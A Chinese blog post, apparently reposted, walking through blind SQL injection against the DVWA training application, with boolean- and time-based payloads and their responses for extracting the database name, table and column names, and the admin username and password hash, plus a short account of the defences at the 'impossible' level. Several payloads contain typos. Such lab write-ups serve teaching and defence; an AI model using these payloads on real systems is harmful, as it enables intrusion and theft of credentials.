分享

dvwa-sql注入(blind)

 印度阿三17 2021-02-14

SQL Injection(Blind):

  SQL Injection(Blind),即SQL盲注。
  与一般注入的区别在于:
        一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注思路:

  手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为:基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

盲注步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

1.查看源代码:


2.判断是否存在注入,注入的类型
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
3.输入1‘and 1=1 #

4.输入1’and 1=2 #

存在字符型的盲注。

  5.然后猜解数据库名:输入1’ and length(database())=4 #,显示存在;


6.输入1’ and length(database())=5 #

说明长度为4

  7.判断数据库名称的字符组成元素
  此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
  8.进行尝试:
1‘ and ascii(substr(database(),1,1))>100        miss
1' and ascii(substr(database(),1,1))>95          exit
1' and ascii(substr(database(),1,1))>98          exit
1' and ascii(substr(database(),1,1))=100          exit

说明第一个字符是d
以此类推发现是:d,v,w,a

9.猜解数据库中的表名

  数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

对于Mysql,DBMS数据库管理系统--->information_schema库--->tables表--->table_schema,table_name,table_rows,...字段。其结构如下所示:

10.猜解表的个数

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #          miss
1‘and (select cout(table_name) from information_schema.tables where table_schema=database())>5 #               miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #             miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #             exit

数据库中表的个数为2

  11.猜解表的名称
  • 表名称的长度
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #                 miss
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #                   exit
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #                   exit
1‘ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9. #                   exit

dvwa数据库中第1个表的名称字符长度=9

  • 表名称字符的组成
    依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解:
输入 输出
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>90 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

dvwa数据库第1个表的第1个字符的ASCII码=103,对应的字符为g
以此类推 最终为guestbook
12.猜解表中的字段名
表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成及位置;某个字段名全名匹配
以[dvwa库-users表]为例:
1)猜解users表中的字段数目:

# 判断[dvwa库-users表]中的字段数目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i 1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i 1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
输入 输出
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 # exists
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # exists

13.猜解users表中的各个字段的名称

按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码...

| 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists |
| 1' and (select coount(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1  #|exists|
  14.获取表中字段的值:

1.用户名的字段值:

1' and length(substr((select user from users limit 0,1),1))=5 #                 exits

2.密码的字段值:

1' and length(substr((select password from users limit 0,1),1))>20 # exists
1' and length(substr((select password from users limit 0,1),1))>40 # MISSING
1' and length(substr((select password from users limit 0,1),1))>30 # exists
1' and length(substr((select password from users limit 0,1),1))>35 # MISSING
1' and length(substr((select password from users limit 0,1),1))>33 # MISSING
1' and length(substr((select password from users limit 0,1),1))=32 # exists

可知,密码有可能经过md5加密

输入 输出
1' and substr((select user from users limit 0,1),1)='admin' #
1' and (select count(*) from users where user='admin')=1 # exists
1' and (select count(*) from users where user='admin123')=1 # MISSING
1' and (select count(*) from users where user='root')=1 # MISSING
==>user字段的第1组取值为admin
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # exists
1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # MISSING
==>user---password字段的第1组取值:admin---password

中等版:

需要借助拦截工具进行抓包、改包、重放恶意构造的数据,(bp)

判断是否存在注入,注入的类型

  虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:

输入 输出
1
'
1 and 1=1 #
1 and 1=2 #
1' and 1=1 #
1' and 1=2 #

存在数字型注入;

猜解当前连接数据库的名称

  对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数 
输入 输出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms

高等版:

  1.查看代码:


漏洞利用:

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

不可能版:

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
来源:https://www./content-2-857151.html

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多